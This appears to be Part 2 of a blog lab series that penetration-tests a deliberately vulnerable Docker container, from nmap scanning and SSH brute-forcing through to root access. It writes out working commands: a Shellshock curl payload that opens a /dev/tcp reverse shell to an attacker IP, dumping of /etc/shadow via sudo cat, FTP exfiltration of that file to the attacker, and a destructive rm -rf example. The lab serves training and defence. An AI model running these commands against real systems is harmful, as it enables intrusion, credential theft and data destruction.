Part 1 - Building a Vulnerable Docker Container System to Demonstrate Common Mistakes Made During IT Administration.
Part 2 - Full Penetration Test of the Vulnerable System from Initial Access to Privilege Escalation.
Part 3 - Using Wazuh SIEM to Monitor for and Alert on Ongoing Cyber Attacks.
This is Part 2 of a 3 Part lab series that demonstrates how an attack moves from "outside" the server to "total control." Security fails when the holes in different defensive layers (software patching, password complexity, and user permissions) align perfectly - "Swiss Cheese Model".
The lab will follow the 2 phases of the Penetration Testing Methodology: Phase 3: Scanning & Enumeration, and Phase 4: Exploitation - Gaining Access and Privilege Escalation, to simulate a real-world breach.
During the Scanning & Enumeration phase, I will demonstrate how attackers identify system weaknesses. Using the vulnerable Docker container from Part 1 as a target, I will explore two primary breach methods: Brute Force (credential guessing) and Known Vulnerability Exploitation (leveraging software bugs for unauthorised command execution).
During the Exploitation phase, I will demonstrate how vulnerabilities can be exploited to gain initial access to a system. This is followed by further post-initial access scanning and enumeration to find internal weaknesses an attacker can leverage to gain full system access. Since any exploitable vulnerability poses a threat, remediation is essential.
However, security teams often struggle to justify the necessary remediation efforts (including expenditure). Depending on the risk, remediation efforts fall into three categories:
Minor: Software patches and updates.
Moderate: Correcting security controls and permissions.
Major: Expensive system upgrades or full replacements.
If remediation is unfeasible, organisations must accept the risk and pivot toward the defensive strategies - Monitoring, Detection, and Response, covered in Part 3.
Password Hygiene: A single weak password was the only barrier between an attacker and a valid user account.
Software Patching: Unpatched and outdated software can introduce vulnerabilities/weaknesses that can be exploited.
Living off the Land: Once inside, attackers don't always need "malware." They use your own tools, like the text viewer cat, or a setting in a sudoers file, to grant themselves administrative (root) rights on a system.
Pentesting: Automated security testing is limited in scope, while effectively conducted pentests provide a realistic view of a system's security posture from an attacker's perspective, uncovering deeper issues like misconfigurations, outdated software, or human error.
✏️PURPOSE: Evaluate the target system(s) to identify and verify potential weaknesses, thus entry points into the system.
In this lab, we already know the IP address of the target system, and will thus skip the Reconnaissance phase of the penetration testing methodology. My go-to tool is nmap, which immediately finds 2 open ports - 2223 (SSH - OpenSSH) and 8080 (HTTP - Apache), which were enabled in Part 1 of this lab.
sudo nmap -T4 -p- --min-rate 1000 <target-ip>
At this point, detection is not an issue, and I can thus expedite my nmap scan by using a targeted, aggressive scan of the open ports identified.
sudo nmap -A -p2223,8080 --min-rate 1000 <target-ip>
A quick nmap scan identifies 2 open ports - 2223 (SSH - OpenSSH) and 8080 (HTTP - Apache)
Targeted aggressive nmap scan to identify services running & versions running on identified ports.
Using Kali Linux's dirbuster utility, I proceed with enumerating the Apache service to identify any interesting web directories and files. During the enumeration, the /cgi-bin/ directory and the typical Apache index.html file were found. I followed this up by searching this directory for any additional interesting files with the extension .sh, and dirbuster found the date.sh file/script.
dirbuster enumerating the website directory structure - cgi-bin found.
dirbuster enumerate the cgi-bin directory and found the date.sh script.
As a general rule-of-thumb, Bash scripts should not be exposed to the public via a web server. In this lab, poor permissions were set for the date.sh file allows anyone to access and 'execute' the contents of the script. Accessing the script harmlessly displays the current date and time.
Below, I used nmap to verify if the server (via the script) is vulnerable to the Shellshock attack, asking it execute the command whoami on the target machine, which returns the user www-data.
sudo nmap -sV -p8080 --script http-shellshock --script-args uri=/cgi-bin/date.sh, cmd=whoami <target-ip>
Accessing the date.sh script displays the current date & time.
nmap used to verify if the server is vulnerable to the Shellshock attack
During a penetration test (or real-world cyber attack), it is standard to attempt to confirm the version of OpenSSH running and perform a Brute-Force attack.
Brute Force Attack - is a method using trial-and-error to guess passwords, encryption keys, or login credentials by systematically testing every possible combination until the correct one is found, often with automated tools, to gain unauthorised access to accounts or systems.
For this lab, I tried 3 tools - Hydra, Metasploit, and my custom Python script, and found one set of weak credentials (test - password12345, set when creating the Docker image/container). All 3 tools accept a plaintext list of usernames and passwords, making the trial-and-error guessing much quicker. For example, it took the Hydra script 2 seconds to find the weak credentials, Metasploit just over 4 minutes, and my custom Python script just over 10 seconds.
Hydra Command: hydra -L <path/to/username-list.txt> -P <path/to/password-list.txt> -s 2223 -f ssh://<target-ip>
Python SSH Brute-Force (refer to GitHub Page): python3 ssh-bruteforce.py <target-ipv4> <host-port> <path/to/username_file.txt> <path/to/password_file.txt>
Metasploit (run the following commands):
msfconsole
use auxiliary/scanner/ssh/ssh_login
Set the respective options - RHOSTS, RPORT, USER_FILE, & PASS_FILE
exploit or run
SSH Brute-Force Credentials using Hydra
SSH Brute Force using custom Python Script
SSH Brute Force using Metasploit (2 Credentials Found)
Metasploit, despite being the slowest of the 3 tools, includes the added feature of logging into the target machine using any validated SSH credentials.
💡SIDE NOTE: In the above screenshot, in this version of the Docker container, I set a weak 'root' password.
Metasploit found the two weak passwords (for the test and root accounts) and logged into the Docker container and created 2 sessions. Using the command 'sessions' followed by the session Id, it is possible to log into the Docker container as either of the 2 users.
✏️PURPOSE: The "attack" phase actively exploits validated vulnerabilities from the Scanning & Enumeration phase to prove they are real.
Once the entry points are validated, we move into the execution phase, trying to get an initial foothold, before attempting to gain full system access..
Method A: SSH Credential Access
To gain initial access, connect to the Docker container's SSH service (port 2223) using the discovered credentials:
Command: ssh -p 2223 test@<target-ip>
Password: password12345
Although the 'test' account has limited privileges, it provides a foothold for internal enumeration. By scanning for further vulnerabilities from within the container, an attacker can find a path to elevate their privileges and gain complete control over the system.
Using validated brute-force credentials to log into the Docker container via SSH
Method B: Shellshock Remote Code Execution (RCE)
Shellshock (CVE-2014–6271) is a critical vulnerability in the GNU Bash shell that allows for Remote Code Execution (RCE). It is particularly potent when targeting Apache web servers that utilise Common Gateway Interface (CGI) scripts. The flaw resides in how Bash processes environment variables, specifically allowing an attacker to execute trailing commands after a malformed function definition, such as: () { :; }; <payload>
In this lab, the Docker container hosts a Bash script within the /cgi-bin/ directory. By sending a specially crafted HTTP request, an attacker can bypass standard authentication. While our initial nmap scan used the whoami command for verification, a more sophisticated attack uses curl to trigger a Reverse Shell.
What is a Reverse Shell? Unlike a standard connection where a client connects to a server, a reverse shell forces the compromised server to "call home" to the attacker's machine. This is a highly effective technique for bypassing firewalls that typically block incoming connections but allow outgoing traffic.
Attack Execution
Set up a Listener: On the attacker's machine, use Netcat to wait for the incoming connection: nc -lvp <attacker-listening-port>
Deliver the Payload: Send a custom request using curl to inject the reverse shell command into a malicious User-Agent 'Cookie' header of the request to the target's CGI script: curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/<attacker-ip-address>/<attackerport> 0>&1' http://<target-ip>/cgi-bin/date.sh
Result: The server executes the native /dev/tcp utility to connect back to the attacker machine at <attacker-ip-address> & <attackerport>, which is intercepted by the listening netcat, granting the attacker a shell as the www-data user without requiring a password.
Similarly, the www-data account has limited privileges, but provides the initial access required to perform internal enumeration for vulnerabilities that can be exploited to elevate privileges, giving an attacker full access to the system.
Malicious curl request crafted to exploit the Shellshock vulnerability.
Netcat listening port captures the reverse shell from the Docker container Shellshock exploit.
One of the common commands an attacker will execute after gaining access to a system is sudo -l or sudo -ll. Both display the allowed (and forbidden) commands for the current user on the system. They list the specific rules from the /etc/sudoers file and the /etc/sudoers.d/ directory that applies to the current user.
Fortunately for an attacker, the 'sudo' permissions for the two user accounts 'test' and 'www-data' are the same:
Both users are granted NOPASSWD access to /bin/cat (& /usr/bin/cat). Granting root access to cat allows these users to read any file in the Docker container system, regardless of permissions.
All system users are granted write and execute privileges to the /tmp/test.sh script, but both 'test' and 'www-data' can effectively run the script as root.
Confirm the permissions assigned to a specific user.
Method A: Privilege Escalation via Credential Dumping
Linux Privilege Escalation via Credential Dumping occurs when an attacker, who has already gained limited access to the system, extracts sensitive authentication data to 'elevate' their access. Attackers will commonly target files and memory locations that are central to Linux authentication:
/etc/shadow: The primary target. It contains the hashed passwords of all users. While it is restricted to the root user, misconfigured permissions (e.g., world-readable/executable scripts or utilities) allow anyone to "dump" it.
Memory (RAM): Services like sshd, login, or even web servers may temporarily hold credentials in memory. Attackers use tools to scrape these strings.
Bash History (~/.bash_history): Users often mistakenly type passwords into the command line (e.g., mysql -u root -pPassword123). This file is a goldmine for "forgotten" credentials.
Application Config Files: Files like wp-config.php, settings.py, or .env files often contain database passwords or API keys stored in clear-text.
SSH Keys: Private keys in ~/.ssh/id_rsa can be used to log in as other users or even root if the keys are reused or left unprotected.
For this particular lab, I will use the cat utility to export the contents of the /etc/passwd and /etc/shadow (containing the list of registered users and their respective hashed credentials) files.
By default, these two files can only be read by the root user. However, using the cat utility, an attacker can export the contents of each file: sudo cat /etc/passwd >> /tmp/passwd & sudo cat /etc/shadow >> /tmp/shadow.
These two commands will create exact copies of these 2 fundamental Linux system files that manage user authentication. Even though the passwords stored by the /etc/shadow file are hashed, an attacker can still 'crack' any weak credentials using copies of these two files. However, to retrieve the passwords, the attacker will need to transfer the files to their machine. This can easily be done using the Python FTP module to set up a temporary FTP server, complete with credentials: python -m ftpdlib -w --user=<username> --password=<password> -p <attacker-port>.
💡TIP: I used Kali Linux for this particular project, and the above command worked. However, if the above command (or specifically the ftpdlib module is not available) not working, you can use the alternative pyftpdlib module instead. Set up your Python virtual environment (python3 -m venv myftpserver), activate the environment (source myftpserver/bin/activate), install the module (python3 -m pip install pyftpdlib), and create the temp ftp server: python -m pyftpdlib -w --user=<username> --password=<password> -p <attacker-port>.
On the compromised Docker container web server, these files can be copied back to the attacker's machine for offline cracking using the curl utility: curl -T <passwd/shadow-file> ftp://<username>:<password>@<attacker-ip>:<attacker-port>. With these file copies, the attacker will use unshadow utility (part of John the Ripper, a password-cracking tool) to combine the two files in a format suited for password cracking: unshadow passwd shadow > <combined-file-name>.
Set up temporary Python FTP server (logs/displays any incoming connections & file transfers).
Transferring the shadow & passwd files via FTP to the attacker's machine.
Using the unshadow utility to combine the shadow and passwd files for password cracking.
John the Ripper automates password cracking by hashing plain-text candidates and comparing them against a retrieved system hash; a successful match reveals the user’s original password. Attacker will provide 3 arguments - a plain-text list of potential passwords, the combined shadow and passwd file (generated by the unshadow utility), and the encryption algorithm:
john --wordlist=</path/to/passwords-list.txt> --rules </path/to/unshadow-file> -format=crypt
This form of attack/privilege escalation only works against weak passwords. Hence, John the Ripper can retrieve the same weak password found by Hydra, Metasploit, and my custom Python SSH credential brute-force script - password1234. However, for this lab and using this method, the attacker only managed to elevate their privileges from www-data to the test account, not enough to completely own the system.
John the Ripper 'cracked' the test account's weak password.
Method B: Privilege Escalation via Script Injection
Linux Privilege Escalation via Script Injection occurs when a low-privileged user can modify, replace, or manipulate scripts or commands that are executed by a higher-privileged user (typically root) or by a service with elevated permissions.
In this lab, the attacker identified a sudo-authorised script, /tmp/test.sh, after gaining initial access and performing additional internal enumeration. Both the test and www-data users have permissions to write/update this file and can thus append a command to request an interactive shell: echo "/bin/bash -i" >> test.sh.
When either test or www-data executes the script sudo ./test.sh, they will immediately gain a fully interactive root shell.
Privilege escalation via the sudo-authorised test.sh script and retrieving the 'root' ctf flag.
When an attacker gains root access, it is often referred to in cybersecurity as a "Total System Compromise." The technical boundaries that usually protect a business (such as file permissions, user isolation, and firewalls) cease to exist for that attacker.
Once root is achieved, the attacker moves from "breaking in" to "dwelling" and "monetising." Below is an expansion on the implications of this "God Mode," covering both the technical mechanics and the severe business fallout.
Once root is achieved, the attacker moves from "breaking in" to "dwelling" and "monetizing."
Install Backdoors: Add their own SSH key to /root/.ssh/authorized_keys or hidden background services - adding persistence, allowing them to return to the system at anytime in the future.
Exfiltrate Data: Read every file on the disk (including database secrets and user passwords) and export them back to their own system.
Wipe the System: Install ransomware to render the system inoperable or run rm -rf / --no-preserve-root to destroy the server.
Pivot: Use the server as a jumping-off point to attack other machines on the internal network.
Botnet Recruitment: The compromised system is integrated into the attacker's 'zombie' network and used to launch Distributed Denial of Service (DDoS) attacks, phishing campaigns, or as part of their Cryptojacking network.
The business damage of a root compromise is rarely limited to the cost of fixing the server.
Legal and Regulatory Fallout: If PII (Personally Identifiable Information) is exfiltrated, the business is now legally bound by laws like GDPR, CCPA, or HIPAA, resulting in expensive fines or mandatory recurring regulatory audits.
Reputational Destruction: Customers/clients will migrate to the competition, and the public IPs of the company may be blacklisted globally if their systems were integrated into a bot network.
Operational & Financial Collapse: The installation of ransomware or destruction of systems will disrupt operations, causing monetary losses (and even loss of life in the case of medical facilities), as well as incur expensive incident response and recovery efforts.
This lab demonstrates that a system breach is not the result of a single failure, but a chain of them.
Imagine the Docker container web server as a house; the attacker used Scanning and Enumeration to find a weak door (SSH) or a broken window (Shellshock), followed by Exploitation to gain a foothold and enter the house. However, the true "homeowner" access was achieved through two distinct Privilege Escalation paths:
Credential Dumping & Cracking: By leveraging a misconfigured sudo cat permission, the attacker dumped the sensitive /etc/passwd and /etc/shadow files. Using the unshadow utility to combine them, they moved the attack "offline," employing John the Ripper to crack hashes and harvest the 'test' account credentials.
Malicious Script Injection: The attacker identified a sudo-authorised script, /tmp/test.sh. By injecting a command "/bin/bash -i" into the script, they hijacked the script’s execution flow to spawn an interactive root shell, bypassing standard security boundaries entirely.
Ultimately, the journey from a low-privilege www-data or test account to root was paved by minor misconfigurations rather than complex exploits. In the next part, we will see how Wazuh SIEM attempts to track these muddy footprints across the system and where defensive gaps still remain.
Brute force attacks: How they work & how to prevent them: https://specopssoft.com/blog/brute-force-attack/
Shellshock — A deep dive into CVE-2014–6271: https://infosecwriteups.com/shellshock-a-deep-dive-into-cve-2014-6271-3eb5b33e5de6
What is Shellshock vulnerability?: https://beaglesecurity.com/blog/vulnerability/shellshock-bash-bug.html
How to Use Netcat Commands: Examples and Cheat Sheets: https://www.varonis.com/blog/netcat-commands
Reverse Shell: https://www.imperva.com/learn/application-security/reverse-shell/
Reverse Shells vs Bind Shells: https://www.threatlocker.com/blog/reverse-shells-vs-bind-shells
Privilege Escalation: https://www.imperva.com/learn/data-security/privilege-escalation/
Linux Privilege Escalation: Techniques, Prevention & More: https://www.strongdm.com/blog/linux-privilege-escalation
HTB Academy - Linux Privilege Escalation: https://academy.hackthebox.com/course/preview/linux-privilege-escalation
OS Credential Dumping: https://redcanary.com/threat-detection-report/techniques/os-credential-dumping/
Photo by Zulfugar Karimov on Unsplash